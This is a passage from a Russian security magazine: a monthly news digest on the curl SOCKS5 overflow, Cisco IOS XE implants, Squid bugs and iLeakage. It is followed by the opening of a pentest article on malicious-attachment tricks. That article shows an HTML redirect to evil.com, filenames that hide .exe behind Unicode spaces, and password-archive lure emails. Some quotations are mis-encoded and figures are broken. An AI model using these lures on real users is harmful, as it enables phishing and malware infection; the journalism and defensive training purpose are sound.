Сатиро (Jay Satiro). Он получил за этот баг 4600 дол ларов США — круп ней- 
шую на сегод няшний день наг раду за ошиб ку в curl.

CVE-2023-38545

Воз можные пос ледс твия экс плу ата ции бага вклю чают пов режде ние дан- 
ных и, в худ шем слу чае, выпол нение про изволь ного кода на сто роне кли ента.
В час тнос ти, перепол нение буфера может про изой ти во вре мя мед ленно го
хен дшей ка прок си SOCKS5. Уяз вимость воз ника ет из-за некор рек тной обра- 
бот ки имен хос тов дли ной более 255 байт. Если имя хос та пре выша- 
ет 255 байт, curl не поз воля ет прок си резол вить имя хос та уда лен но
и перехо дит к локаль ному резол веру.

«

»

«Èç�çà îøèá êè ëîêàëü íàÿ ïåðåìåí íàÿ, êîòîðàÿ èíñ òðóê òèðó åò curl

„ïîç âîëèòü õîñ òó ðåçîë âèòü èìÿ“, ìîæåò ïîëó÷èòü íåâåð íîå çíà ÷åíèå

âî âðå ìÿ ìåä ëåííî ãî õåí äøåé êà SOCKS5 è, âîï ðåêè çàìûñ ëó, ñêî- 

ïèðî âàòü ñëèø êîì äëèí íîå èìÿ õîñ òà â öåëåâîé áóôåð, âìåñ òî òîãî

÷òî áû ñêî ïèðî âàòü òóäà òîëü êî ïðå îáðà çîâàí íûé àäðåñ», — ñîîá ùàþò

ðàç ðàáîò ÷èêè.

То есть уяз вимость, которая при сутс тво вала в коде 1315 дней, веро ятнее
все го, может исполь зовать ся для про веде ния атак на отказ в обслу жива нии.
Так, ата кующий может соз дать сайт, который перенап равля ет посети теля
на очень длин ное имя хос та (нап ример, содер жащее тысячи сим волов), что
в ито ге при ведет к перепол нению буфера хипа и воз никно вению сбоя.

При этом экс плу ата ция бага тре бует, что бы кли ент curl был нас тро ен
на исполь зование прок си SOCKS5 при под клю чении к уда лен ному сай ту,
а так же дол жны быть вклю чены авто мати чес кие редирек ты. Необ ходимо
и мед ленное SOCKS5-соеди нение с уда лен ным сай том.

Как в ито ге отме тили мно гие экспер ты, пос коль ку боль шинс тво людей,
работа ющих с curl, не исполь зуют SOCKS5, эта проб лема не зат ронет их вов- 
се.

«

»

«Îñíîâíàÿ ïðè ÷èíà, ïî êîòîðîé ÿ çîë íà curl, — âñå ýòè ðàç ãîâîðû

è õàéï âîê ðóã íåãî. Êîì ïàíè ÿì è òàê íåëåã êî îïðå äåëÿòü ïðè îðè òåò- 

íîñòü èñïðàâ ëåíèé è ñòå ïåíü ñåðü åçíîñòè ðàç ëè÷íûõ óÿç âèìîñ òåé.

Ïîäîá íûå „ó÷åá íûå òðå âîãè“ ëèøü îòíè ìàþò âðå ìÿ, êîã äà îíè ìîã- 

ëè áû ñîñ ðåäîòî ÷èòü ñÿ íà òàêèõ âåùàõ, êàê KEV, íîâîå îáëà êî

èëè AD», — ïèñàë â X (áûâ øèé Twitter) ñïå öèàëèñò TrustedSec Äæàñ òèí

Ýëçå (Justin Elze).

При этом даже сам Стен берг сооб щил, что наибо лее реалис тичный сце нарий
ата ки на CVE-2023-38545 пред полага ет, что поль зователь бра узе ра Tor,
который час то исполь зует про токол SOCKS5, под клю чит ся к взло ман ному
HTTPS-сай ту.

Од нако с такой позици ей сог ласны не все. К при меру, извес тный
ИБ-эксперт Мэттью Хики (Matthew Hickey, он же hackerfantastic) заявил, что
SOCKS5 может быть не слиш ком популя рен в биз нес-сре де, одна ко его час то
исполь зуют иссле дова тели и раз работ чики в области ИБ.

«

»

«Íà ñàìîì äåëå ýòî äîâîëü íî ÷àñ òî ñëó ÷àåò ñÿ, êîã äà ëþäè çàï- 

ðàøèâà þò API äëÿ òåñ òèðîâà íèÿ áåçîïàñ íîñòè, îòëàäêè èëè äðó ãîé

òåõ íè÷åñ êîé ðàáîòû. Òàê æå ýòî ÷àñ òî âñòðå ÷àåò ñÿ ïðè ïðî âåð êå ñåð- 

âèñîâ Tor ñ èñïîëü çîâàíè åì òàêèõ èíñ òðó ìåí òîâ, êàê curl, êîã äà

äëÿ âûïîë íåíèÿ çàï ðîñà îáû÷ íî òðå áóåò ñÿ SOCKS5-ïðîê ñè», — ðàñ- 

ñêà çûâà åò Õèêè.

Кро ме того, он пре дуп редил, что со вре менем иссле дова тели изу чат проб- 
лему более тща тель но и, воз можно, будут соз даны более слож ные экс пло иты,
которые уже будут вес ти к выпол нению про изволь ного кода.

WINDOWS 11 УСТАНОВЛЕНА НА 
УСТРОЙСТВ

400 ÌÈËËÈÎÍÎÂ

Жур налис ты Windows Central, со ссыл кой на внут ренние докумен ты Microsoft, ока зав шиеся
в рас поряже нии редак ции, сооб щили, что количес тво уста новок Windows 11 уже пре выша ет

 активных устрой ств в месяц. Ожи дает ся, что пол милли арда уста новок будет
наб рано уже в начале .
400 мил лионов

2024 года

Для дос тижения отметки в 400 мил лионов устрой ств ОС пот ребова лось око ло . И это
замет но мед леннее, чем у Windows 10, которая дос тигла ана логич ного чис ла уста новок
за  (а в 2020 году добира лась до отметки в  поль зовате лей). Тем не менее
в Microsoft уве ряют, что с точ ки зре ния поль зователь ской базы Windows 11 ока залась более
успешной, чем ожи дала ком пания.

двух лет

один год мил лиард

МАССОВЫЕ АТАКИ
НА CISCO IOS XE

С сен тября 2023 года устрой ства Cisco под управле нием IOS XE находят ся
под мас совыми ата ками из-за недав но обна ружен ных 0-day-уяз вимос тей

 и . Пат чи для этих проб лем были выпуще ны
толь ко в кон це октября и теперь  для кли ентов через Cisco Software
Download.

CVE-2023-20198 CVE-2023-20273
дос тупны

Зло умыш ленни ки исполь зуют баги CVE-2023-20198 и CVE-2023-
20273 для про ник новения на уяз вимые устрой ства и соз дания при виле гиро- 
ван ных учет ных записей (с наивыс шим ), а затем
получа ют root-пра ва и уста нав лива ют в сис тему написан ный на Lua бэк дор,
который поз воля ет уда лен но выпол нять коман ды.

уров нем при виле гий 15

Обе уяз вимос ти мож но экс плу ати ровать толь ко в том слу чае, если
на устрой стве вклю чена фун кция веб-интерфей са (HTTP-сер вер; это мож но
сде лать через ip http server или ip http secure-server) и устрой ство под клю чено
к интерне ту или ненадеж ной сети.

К середи не октября количес тво ском про мети рован ных устрой ств,
на которых обна ружи вал ся Lua-имплан тат, пре выси ло 50 тысяч, но потом

. Иссле дова тели обна ружи вали лишь 100–1000 взло- 
ман ных девай сов, в зависи мос ти от резуль татов раз ных ска ниро ваний.
рез ко пош ло на спад

Эк спер ты выд вигали раз ные пред ложения о том, как это мог ло про изой ти,
от вме шатель ства пра воох ранитель ных орга нов до активнос ти неиз вес тно го
grey hat хакера, который авто мати зиро вал перезаг рузку заражен ных устрой- 
ств и таким обра зом очи щает их от бэк дора.

Од нако вер ной ока залась дру гая теория, которая гла сила, что зло умыш- 
ленни ки, сто ящие за эти ми ата ками, поняли свою ошиб ку (их имплан тат
слиш ком лег ко обна ружи вал ся уда лен но) и обно вили мал варь, что бы скрыть
свое при сутс твие. То есть теперь имплан тат незаме тен во вре мя ска ниро- 
ваний.

Спе циалис ты из ком пании Fox-IT сооб щили, что вре донос ный код
на десят ках тысяч взло ман ных устрой ств был «изме нен, что бы про верять зна- 
чение HTTP-заголов ка авто риза ции перед отве том». Обла дая этой информа- 
цией, ана лити ки про вели еще одно ска ниро вание и приш ли к выводу,
что 37 890 устрой ств IOS XE все еще ском про мети рова ны и мал варь никуда
не делась. То есть тысячи устрой ств по-преж нему взло маны и находят ся
под кон тро лем зло умыш ленни ков.

Раз работ чикам Cisco  о новом вари анте мал вари, который
«зат рудня ет выяв ление ском про мети рован ных сис тем». Сооб щает ся, что
новую вер сию вре доно са начали раз верты вать 20 октября и она име ет при- 
мер но такую же фун кци ональ ность, как и пре дыду щая.

уже извес тно

Под черки вает ся, что, хотя вре донос, раз верну тый зло умыш ленни ками,
не явля ется пос тоян ным (то есть уда ляет ся при перезаг рузке устрой ства),
соз данная хакера ми учет ная запись с высоким уров нем при виле гий оста ется
на устрой стве даже пос ле его переза пус ка.

ПОЛИТИЧЕСКИЕ АТАКИ НА РОССИЙСКИЕ КОМПАНИИ
Спе циалис ты FAССT иссле дова ли кибера таки 2023 года на осно ве про веден ных реаги рова ний
на инци ден ты в рос сий ских ком пани ях. Выяс нилось, что количес тво полити чес ки мотиви рован- 
ных атак, целью которых было хищение кон фиден циаль ных дан ных или пол ное раз рушение IT-
инфраструк туры ком пании, вырос ло на .140%

Це лями полити чес ки мотиви рован ных ата кующих чаще дру гих ста нови лись пред при ятия, свя- 
зан ные с ,  и 

.
кри тичес кой инфраструк турой гос секто ром обо рон ной про мыш- 

ленностью

На ряду с ними в груп пе рис ка ока зались  из сег мента малого и сред него биз- 
неса — интернет-ретей леры, интегра торы, раз работ чики ПО.

IT-ком пании

Так же количес тво атак вымога телей за девять месяцев 2023 года вырос ло на . Сред няя
сум ма выкупа за рас шифров ку дан ных пре выси ла , а самый круп ный
выкуп пот ребова ли вымога тели из груп пы Shadow —  руб лей.

75%
37 мил лионов руб лей
200 мил лионов

Жер тва ми шиф роваль щиков чаще все го ста нови лись рос сий ские , 
, ,  и  ком пании.

ре тей леры про изводс- 
твен ные стро итель ные ту рис тичес кие стра ховые

Сред нее вре мя прос тоя ата кован ной ком пании сос тавило .14–18 дней

На ибо лее агрессив ными прес тупны ми груп пами в Рос сии в этом году ока зались 
и .

Shadow
Twelve

Обыч но Shadow тре бует от жер твы круп ный выкуп (в раз мере  от годово го дохода ком- 
пании) за то, что бы рас шифро вать дан ные и не пуб ликовать похищен ную информа цию.

5–10%

Са мыми рас простра нен ными шиф роваль щиками, которые прес тупни ки исполь зуют для атак
на рос сий ские ком пании, ста ли ,  и , чьи исходни ки были опуб ликова ны
в откры том дос тупе.

LockBit Conti Babuk

Продолжение статьи →

https://xakep.ru/2022/01/12/log4hell/
https://daniel.haxx.se/blog/2023/10/11/curl-8-4-0/
https://curl.se/docs/CVE-2023-38546.html
https://curl.se/docs/CVE-2023-38545.html
https://xakep.ru/2023/10/18/ios-xe-0day/
https://xakep.ru/2023/10/23/cisco-ios-xe-attacks-and-0day/
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z
https://learningnetwork.cisco.com/s/blogs/a0D3i000002eeWTEAY/cisco-ios-privilege-levels
https://xakep.ru/2023/10/23/cisco-ios-xe-attacks-and-0day/
https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/


 Начало статьи←

УЯЗВИМОСТИ
В SQUID
ИСПРАВЛЯЮТ 2,5
ГОДА

Еще в 2021 году ИБ-иссле дова тель Джо шуа Род жерс (Joshua Rogers)
выявил 55 уяз вимос тей в Squid, популяр ном кеширу ющем прок си-сер вере
с откры тым исходным кодом. По сло вам экспер та, основная часть этих проб- 
лем не исправ лена до сих пор, а боль шинс тву даже не прис воены иден- 
тифика торы CVE.

Squid, под держи вающий HTTP, HTTPS, FTP и не толь ко, широко исполь- 
зует ся интернет-про вай дерами и опе рато рами сай тов. Как  его раз- 
работ чики: «Мно гие из вас исполь зуют Squid, даже не подоз ревая об этом!
Некото рые ком пании встра ивают Squid в домаш ние или офис ные бран дма- 
уэры, дру гие исполь зуют Squid в мас штаб ных веб-прок си для уско рения
широко полос ного и ком мутиру емо го дос тупа в интернет. Squid час то при- 
меня ется в архи тек турах дос тавки кон тента для дос тавки ста тичес кого
и потоко вого видео и аудио поль зовате лям по все му миру».

пи шут

В фев рале 2021 года Джо шуа Род жерс про вел аудит безопас ности Squid
и обна ружил в исходном коде про екта 55 раз личных оши бок. Как теперь
сооб щает эксперт, толь ко 20 из этих уяз вимос тей были исправ лены к нас- 
тояще му вре мени, а для осталь ных 35 до сих пор нет пат чей или иных спо- 
собов защиты.

На сво ем сай те Род жерс перечис ляет  в Squid. В спи сок
вхо дят проб лемы типа use after free, утеч ки памяти, отравле ние кеша и про чие
дефек ты в раз личных ком понен тах. Эксперт отме чает, что оставши еся десять
багов — это «резуль тат схо жих, но дру гих спо собов вос про изве дения тех же
уяз вимос тей». В ито ге мно гие из обна ружен ных проб лем могут при вес ти
к сбою, а некото рые могут исполь зовать ся и для выпол нения про изволь ного
кода.

45 уяз вимос тей

Род жерс обна родо вал не толь ко тех ничес кие под робнос ти об уяз вимос- 
тях, но и PoC-экс пло иты для них на . Кро ме того, на его сай те так же
перечис лены 13 допол нитель ных проб лем в коде, которые он счи тает обыч- 
ными ошиб ками, не име ющи ми отно шения к безопас ности.

GitHub

По сло вам иссле дова теля, все уяз вимос ти он нашел в коде Squid 5.0.5
(новей шая вер сия Squid сей час — это 6.3) с помощью фаз зинга, руч ной про- 
вер ки кода и ста тичес кого ана лиза. Он уве ряет, что про вел тес тирова ние
прак тичес ки всех воз можных ком понен тов, вклю чая «пря мое прок сирова ние,
обратное прок сирова ние, все под держи ваемые про токо лы (HTTP, HTTPS,
HTTPS intercept, URN, Whois, Gopher, FTP), отве ты, зап росы, „помощ ников“,
DNS, ICAP, ESI, кеширо вание», при этом исполь зовав все воз можные кон- 
фигура ции.

Род жерс приз нает, что соп ровож дающие Squid, как и боль шинс тво опен- 
сорс-раз работ чиков, — это в основном доб роволь цы, которые могут поп- 
росту не иметь воз можнос тей для быс тро го устра нения проб лем.

«
»

«Êîìàí äà Squid Team áûëà ïîëåç íà è îêà çûâà ëà ïîä äåð æêó, êîã äà ÿ
ñîîá ùàë îá ýòèõ ïðîá ëåìàõ. Îäíà êî îíè èñïû òûâà þò îñòðóþ íåõ âàòêó
êàä ðîâ, è ó íèõ ïðîñ òî íåò ðåñóð ñîâ äëÿ óñòðà íåíèÿ îáíà ðóæåí íûõ
óÿç âèìîñ òåé. Åñëè äîë áèòü èõ òðå áîâà íèÿìè îá óñòðà íåíèè ïðîá ëåì,
òîë êó îò ýòî ãî íå áóäåò», — ïèøåò ñïå öèàëèñò.

Сог ласно под сче там Род жерса, на сегод ня в интерне те дос тупно
более 2,5 мил лиона экзем пля ров Squid, и он рекомен дует всем озна комить ся
со спис ком обна ружен ных уяз вимос тей и под робнос тями об их воз можной
экс плу ата ции.

« »«Âû ñàìè äîë æíû îöå íèòü, ÿâëÿ åòñÿ ëè Squid ïîä õîäÿùèì ðåøåíè åì
äëÿ âàøåé ñèñ òåìû», — ðåçþìè ðîâàë ñïå öèàëèñò.

 ЧЕЛОВЕК ВЛАДЕЮТ СМАРТФОНАМИ4,3 ÌÈËËÈÀÐÄÀ

По под сче там тор говой орга низа ции GSMA, количес тво вла дель цев смар тфо нов в мире пре- 
выси ло  человек, то есть в нас тоящее вре мя эти ми гад жетами вла деет 
населе ния Зем ли. При этом око ло  человек выходят в интернет при помощи
смар тфо нов, а еще  получа ют дос туп в сеть через обыч ные телефо ны. -Так же
в отче те GSMA отме чает ся, что  человек до сих пор не име ют дос тупа к сети.
При чем боль шинс тво из тех, кто не поль зует ся мобиль ным интерне том, про жива ют в рай онах,
охва чен ных сетью мобиль ного широко полос ного дос тупа, и лишь  людей, которые не поль- 
зуют ся мобиль ным интерне том, про жива ют в рай онах без такого пок рытия.

4,3 мил лиар да 54%
4  мил лиар дов

600 мил лионов
3,4 мил лиар да

5%

MICROSOFT
ОТКАЗЫВАЕТСЯ
ОТ VBSCRIPT

Ком пания Microsoft собира ется пос тепен но отка зать ся от VBScript в будущих
релизах Windows, сна чала сде лав его фун кци ей on demand, а затем уда лив
окон чатель но. Дело в том, что VBScript уже мно го лет исполь зует ся как век тор
зараже ния Windows-сис тем мал варью.

VBScript (он же Visual Basic Script или Microsoft Visual Basic Scripting
Edition) — это язык сце нари ев, ана логич ный Visual Basic или Visual Basic for
Applications (VBA), который был пред став лен в августе далеко го 1996 года.

VBScript пос тавля ется в ком плек те с Internet Explorer, интегри рует
активные скрип ты в окру жение Windows и вза имо дей ству ет с хост-при ложе- 
ниями пос редс твом Windows Script. При этом Microsoft уже отклю чила
VBScript по умол чанию в Internet Explorer 11 в Windows 10 еще в
июле 2019 года.

«
»

«VBScript óñòà ðåë. Â áóäóùèõ âûïóñ êàõ Windows VBScript áóäåò äîñ- 
òóïåí êàê ôóí êöèÿ on demand, âïëîòü äî åãî óäà ëåíèÿ èç îïå ðàöè- 
îííîé ñèñ òåìû, — ñîîá ùàþò òåïåðü ïðåä ñòà âèòå ëè Microsoft. — Ñíà- 
÷àëà ôóí êöèÿ on demand VBScript áóäåò ïðå äóñ òàíîâ ëåíà, ÷òî áû îáåñ- 
ïå÷èòü åå áåñ ïåðåáîé íîå èñïîëü çîâàíèå âî âðå ìÿ ïîä ãîòîâ êè ê ïðåê- 
ðàùåíèþ èñïîëü çîâàíèÿ VBScript».

Фун кции on demand пред став ляют собой допол нитель ные фун кции Windows
ОС, такие как .NET Framework (.NetFx3), Hyper-V и Windows Subsystem for
Linux, которые не уста нав лива ются по умол чанию, но могут быть добав лены
при необ ходимос ти.

Хо тя в ком пании не говорят об этом офи циаль но, похоже, отказ Microsoft
от VBScript свя зан с тем, что это один из популяр ных век торов дос тавки мал-
вари в сис темы поль зовате лей. К при меру, с его помощью рас простра нялись
такие вре доно сы, как Lokibot, Emotet, Qbot, DarkGate.

От каз от VBScript ста нет оче ред ным шагом в рам ках стра тегии, нап- 
равлен ной на сни жение количес тва вре донос ных кам паний, экс плу ати рующих
для зараже ния раз личные фун кции Windows и Office. Эта работа ведет ся
с 2018 года и началась с того, что Microsoft рас ширила под дер жку AMSI
на при ложе ния Office 365, что поз волило пре сечь ата ки, исполь зующие мак- 
росы VBA.

Впос ледс твии ком пания отклю чила мак росы Excel 4.0 (XLM), вве ла защиту
от мак росов XLM, обя затель ную бло киров ку мак росов VBA Office по умол- 
чанию, а так же начала бло киро вать ненадеж ные надс трой ки XLL для тенан тов
Microsoft 365 по все му миру.

АДМИНЫ ТОЖЕ ИСПОЛЬЗУЮТ ПАРОЛЬ ADMIN
Ана лити ки ком пании Outpost24 соб рали инте рес ную ста тис тику об аутен тифика цион ных дан- 
ных. Ока залось, что ИТ-адми нис тра торы исполь зуют десят ки тысяч сла бых паролей, самым
популяр ным из которых явля ется .admin

В общей слож ности иссле дова тели изу чили более  учет ных дан ных адми нис- 

тра торов (все дан ные были вос ста нов лены пос ле атак от вре донос ного ПО). Про ана лизи ровав
получен ную кол лекцию аутен тифика цион ных дан ных, иссле дова тели сос тавили топ самых сла- 
бых из них.

1,8 мил лиона

УСТРОЙСТВАМ APPLE
УГРОЖАЕТ ILEAKAGE

Груп па уче ных из Тех нологи чес кого уни вер ситета Джор джии, Мичиган ско го
уни вер ситета и Рур ско го уни вер ситета в Бохуме раз работа ла спе куля тив ную
side-channel-ата ку , которая работа ет про тив устрой ств Apple и поз- 
воля ет извле кать кон фиден циаль ную информа цию из бра узе ра Safari, вклю- 
чая пароли и содер жимое вкла док.

iLeakage

Ата ка работа ет про тив любых сов ремен ных устрой ств Apple с про цес- 
сорами серий A и M, и с ее помощью мож но извлечь дан ные из Safari, а так же
Firefox, Tor и Edge для iOS прак тичес ки с «иде аль ной точ ностью».

Уче ные уве ряют, что iLeakage — это не прос то кон цепт и ата ка может
исполь зовать ся в реаль нос ти. Для это го дос таточ но заманить поль зовате ля
на вре донос ную веб-стра ницу, а затем вос ста новить дан ные из дру гих вкла- 
док, откры тых в его бра узе ре Safari.

По сути, iLeakage пред став ляет собой timerless-вер сию нашумев шей
проб лемы  и обхо дит защиту от side-channel-атак, дав но реали зован- 
ную все ми про изво дите лями бра узе ров. Так, изу чая устой чивость Safari
к подоб ным ата кам, спе циалис ты сумели обой ти сущес тву ющие конт рме ры
и реали зовать не завися щий от архи тек туры timerless-метод ата ки, свя зан ный
с сос тоянием гон ки.

Spectre

В основном уси лия уче ных были сос редото чены на счи тыва нии кон фиден- 
циаль ной информа ции из Safari, и им уда лось похитить дан ные, соз дав при- 
митив, спо соб ный спе куля тив но про читать и «слить» любой 64-бит ный ука- 
затель в адресном прос транс тве, исполь зуемом бра узе ром Apple для рен- 
дерин га.

Для это го пот ребова лось обой ти защиту от side-channel-атак, реали- 
зован ную Apple в бра узе ре, вклю чая low resolution тай мер и сжа тие 35-бит ной
адре сации. Так же иссле дова тели обош ли полити ку изо ляции сай тов в Safari,
которая раз деля ет сай ты на раз ные адресные прос транс тва на осно ве
доменов вер хне го уров ня и суб доменов.

Эк спер ты при мени ли новую тех нику, исполь зующую API JavaScript
window.open, которая поз воля ет ата кующей стра нице исполь зовать одно и то
же адресное прос транс тво с про изволь ными стра ница ми-жер тва ми.

Ис поль зуя спе куля тив ную ата ку типа type confusion для обхо да защит ных
мер Apple, иссле дова тели смог ли добить ся утеч ки кон фиден циаль ных дан ных
с целевой стра ницы, вклю чая пароли и элек трон ные пись ма гипоте тичес кой
жер твы.

В серии роликов иссле дова тели про демонс три рова ли, как с помощью
iLeakage извлечь сооб щения из Gmail в Safari на iPad, как iLeakage работа ет
про тив Chrome для iOS (уда лось извлечь исто рию прос мотров жер твы
YouTube), а так же показа ли получе ние пароля от тес товой учет ной записи
в соци аль ной сети, который был авто мати чес ки запол нен в Safari с помощью
LastPass.

Эк спер ты объ ясня ют, что, по сути, пра вила Apple тре буют, что бы все сто- 
рон ние бра узе ры для iOS были овер леями для Safari и исполь зовали
JavaScript-дви жок собс твен ного бра узе ра Apple.

Проб лема iLeakage зат рагива ет все устрой ства Apple, выпущен ные пос- 
ле 2020 года и работа ющие на ARM-про цес сорах Apple серий A и M. Ата ка
прак тичес ки не обна ружи вает ся и не оставля ет сле дов в сис теме жер твы,
за исклю чени ем записи о посеще нии веб-стра ницы зло умыш ленни ка в кеше
бра узе ра.

Тем не менее экспер ты под черки вают, что ата ка слож на в реали зации
и «тре бует глу боко го зна ния бра узер ных side-channel-атак и импле мен тации
Safari».

В иссле дова тель ской работе отме чает ся, что уче ные сооб щили Apple
о проб леме еще 12 сен тября 2022 года, одна ко ком пания при няла решение
не выпус кать исправ лений. Вмес то это го пред ложен сле дующий метод
защиты для macOS:

нуж но открыть тер минал и выпол нить коман ду defaults write
com.apple.Safari IncludeInternalDebugMenu 1, что бы вклю чить скры тое
меню отладки Safari;

•

от крыть Safari и перей ти в новое меню Debug;•
выб рать пункт WebKit Internal Features;•
ак тивиро вать фун кцию Swap Processes on Cross-Site Window Open.•

При этом иссле дова тели пишут, что такой спо соб работа ет толь ко
для macOS, не вклю чен по умол чанию и в нас тоящее вре мя вооб ще счи тает- 
ся нес табиль ным.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
DDoS-защиту Cloudare мож но обой ти с помощью самой Cloudare

Nightshade отравля ет дан ные, нарушая про цесс обу чения ИИ-моделей

Google и Yahoo будут бороть ся со спа мом по-новому

По явил ся экс пло ит для Linux-уяз вимос ти Looney Tunables

Ис сле дова тели делят ся новыми под робнос тями об «Опе рации „Три ангу ляция“»

GNOME уяз вим перед RCE-ата ками из-за ошиб ки в биб лиоте ке libcue

Ха керы зло упот ребля ют Binance Smart Chain для хра нения вре донос ного кода

Фаль шивая рек лама KeePass исполь зует Punycode и домен, поч ти неот личимый от нас тояще го

Okta сно ва взло мали. Дан ные кли ентов попали в руки неиз вес тных прес тупни ков

Google Chrome будет скры вать реаль ные IP-адре са поль зовате лей

http://www.squid-cache.org/Intro/
https://joshua.hu/squid-security-audit-35-0days-45-exploits
https://megamansec.github.io/Squid-Security-Audit
https://ileakage.com/
https://xakep.ru/2018/01/11/meltdown-and-spectre/
https://xakep.ru/2023/10/02/cloudflare-bugs/
https://xakep.ru/2023/10/26/nightshade/
https://xakep.ru/2023/10/04/google-yahoo-mail/
https://xakep.ru/2023/10/06/looney-tunables-poc/
https://xakep.ru/2023/10/25/operation-triangulation-analysis/
https://xakep.ru/2023/10/11/libcue-gnome-rce/
https://xakep.ru/2023/10/17/etherhiding/
https://xakep.ru/2023/10/20/keepass-punycode/
https://xakep.ru/2023/10/23/new-okta-hack/
https://xakep.ru/2023/10/23/ip-protection/
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По ста тис тике зна читель ная часть зараже- 
ний мал варью про исхо дит из-за того, что
поль зователь сам запус тил на сво ей
машине вре донос ный файл. Имен но в этом
и зак люча ется основная задача зло умыш- 
ленни ков, исполь зующих соци аль ную инже- 
нерию. Давай пос мотрим, какие тех ничес- 
кие улов ки и хит рости они при меня ют.

Статья пред назна чена для «белых хакеров», про- 
фес сиональ ных пен тесте ров и руково дите лей
служ бы информа цион ной безопас ности (CISO).
Ни автор, ни редак ция не несут ответс твен ности
за любой воз можный вред, при чинен ный матери- 
ала ми дан ной статьи.

ÂËÎÆÅÍÈß È ÔÀÉËÛ

Мы рас смот рим ата ки с фай лами не с точ ки зре ния того, как их дос тавля ют
во вре мя пен теста и что в них пишут, что бы поль зователь повел ся. Об этом
мы погово рим в дру гой раз. Сегод ня мы кос немся нес коль ких тех ничес ких
аспектов, вклю чая мас киров ку фай лов и рас ширений, и обсу дим некото рые
лай фха ки.

Дос тавку HTML-фай лов с объ ектом JavaScript Blob, закоди рован ным
с помощью Base64, в статье мы умыш ленно не рас смат рива ем, пос коль ку
сей час обсужда ется обман людей, а не обход сис тем защиты.

В целом дос тавля емые по каналам свя зи фай лы мож но отнести к сле- 
дующим катего риям:

фай лы Microsoft Office;•
HTML (HTM, SHTML);•
PDF;•
ар хивы (с паролем и без) с наг рузкой внут ри;•
ICS-фай лы кален даря.•

Рас смот рим, какие улов ки исполь зуют зло деи с каж дым из этих видов фай- 
лов.

ÐÓØÈÌ ØÀÁËÎÍÛ ÏÎÂÅÄÅÍÈß ×ÅÐÅÇ ÏÅ×ÀÒÜ

Ког да сот рудник ска чива ет файл из интерне та или из вло жения в поч товое
сооб щение, его пре дуп режда ют, что содер жимое фай ла небезо пас но.

Пре дуп режде ние о небезо пас ном содер жимом фай ла

Хо чешь поп росить его вык лючить защиту необыч ным спо собом? Пред ставь ся
в пись ме началь ником и ска жи, что этот документ (бланк, таб лицу) нуж но рас- 
печатать и под писать, ведь сегод ня в течение дня его заберет сот рудник
отде ла кад ров.

Сот рудник откры вает окно с печатью и видит, что она недос тупна.

Пре дуп режде ние о недос тупнос ти печати

Впро чем, он при вык, что его про сят отклю чить защищен ный прос мотр
в самом докумен те, а это уже нем ного дру гой сце нарий. Сам Word про сит
отклю чить защиту, ломая шаб лоны осве дом ленно го поль зовате ля.

PDF-ÔÀÉËÛ

На рисун ке ниже изоб ражен твит (или как там теперь это пра виль но называ- 
ется) с упо мина нием вре донос ной ата ки. Если что, не сер чай на перевод
от Google Translate.

Опи сание ата ки через PDF-файл

Ну а  ты можешь почитать о под робнос тях ата ки. Быть может,
тебе при годит ся подоб ный спо соб дос тавки наг рузки.

на сай те Fortinet

Ког да мы делали свои пер вые соци отех ничес кие пен тесты в 2017 году, то
для тре кин га раз решений таких вот заг рузок поль зовались сер висом

.Canarytokens
Нам и заказ чику было дос таточ но того, что поль зователь нажал Allow

(«Раз решить») во всплы вающем пре дуп режде нии в PDF-фай ле. Это уже счи- 
талось инци ден том и показа телем того, что поль зователь ском про мети рован.

Ин терфейс сер виса Canarytokens

HTML-ÔÀÉËÛ

Во вло жении в сооб щения элек трон ной поч ты час то встре чают ся такие HTML-
фай лы:

с редирек том на какую-то твою стра ницу, нап ример, это мож но орга низо- 
вать с помощью кода 

;

•
<meta http-equiv="refresh" content="0;

URL=https://evil.com"/>

со дер жащий вре донос ный iframe, который под тягива ет твою стра ницу
из интерне та. Сис тема защиты может не видеть iframe, а поль зователь
уви дит;

•

с фишин говым содер жимым. При мер подоб ного фишин га показан в отче- 
те .

•
Sophos

А вот еще при мер фишин гового HTML-фай ла.

Ими тация Excel-фай ла на веб-стра нице

Рас смат ривая тех ничес кие трю ки, давай кос немся и мас киров ки рас ширения
 в поч товом кли енте..html

От нев ниматель ного поль зовате ля HTML-вло жение мож но замас кировать
так: меж ду docx и html вста вить поболь ше нераз рывных про белов (U+00A0,
см. рисунок ниже).

Ими тация DOCX-докумен та в име ни HTML-фай ла с нераз рывны ми про -
бела ми

Да, икон ка получа ется не вор дов ская, но мно гие не обра щают на это вни- 
мания. А можешь ничего не мас кировать и отправ лять как есть.

Ими тация DOCX-докумен та в име ни HTML-фай ла

ÀÐÕÈÂÛ Ñ ÏÀÐÎËÅÌ

Для пол ноты кар тины нель зя обой ти сто роной клас сичес кое скры тие вре- 
доно са в запаро лен ном архи ве. Хоть некото рые сис темы защиты бло киру ют
такие архи вы от гре ха подаль ше, этот спо соб все еще дос таточ но дей ствен- 
ный.

Пись мо с подоб ным архи вом выг лядит при мер но так:

«
»

Äîá ðûé äåíü. 
Ïðèê ëàäûâàþ àðõèâ ñ äîêóìåí òàìè. 
Â öåëÿõ áåçîïàñ íîñòè àðõèâ çàùèùåí ïàðîëåì. 
Ïà ðîëü îò àðõè âà: 12345 
Ñ óâà æåíè åì, Àíäðåé Ïåò ðîâ

Зная, что поль зователь может быть обу чен опре делять такие пись ма
как подоз ритель ные, пароль мож но не упо минать. Пусть человек сам спро сит
его, а ты выш лешь пароль отдель ным пись мом. Так, по заголов кам его пись- 
ма, мож но убе дить ся, что отве чает на пись мо имен но поль зователь, а не
служ ба ИБ, которая хочет изу чить твою наг рузку в архи ве.

ÀÐÕÈÂÛ ÁÅÇ ÏÀÐÎËß

Вот так мы пря тали нас тоящее рас ширение фай ла в архи ве.

Отоб ражение EXE-фай ла в архи ве, где в име ни исполь зует ся мно го про -
белов

Поль зовате ли реаль но не понима ли, что перед ними , а не . А дела- 
ется это так. В фай ле  пос ле  мно гок ратно встав лен «сред- 

ний матема тичес кий про бел» в Unicode.

.exe .pdf
Book.pdf.exe pdf

Опи сание сред него матема тичес кого про бела

В такое наз вание фай ла уда лось вста вить око ло 280 про белов. Поэто му если
у поль зовате ля окно прос мотра наз вания фай ла раз дви нуто впра во, то он
уви дит , но так быва ет нечас то..exe

Рас ширен ное отоб ражение поля име ни фай ла в архи ве

Ес ли вста вить мно го обыч ных про белов, то замас кировать нас тоящее рас- 
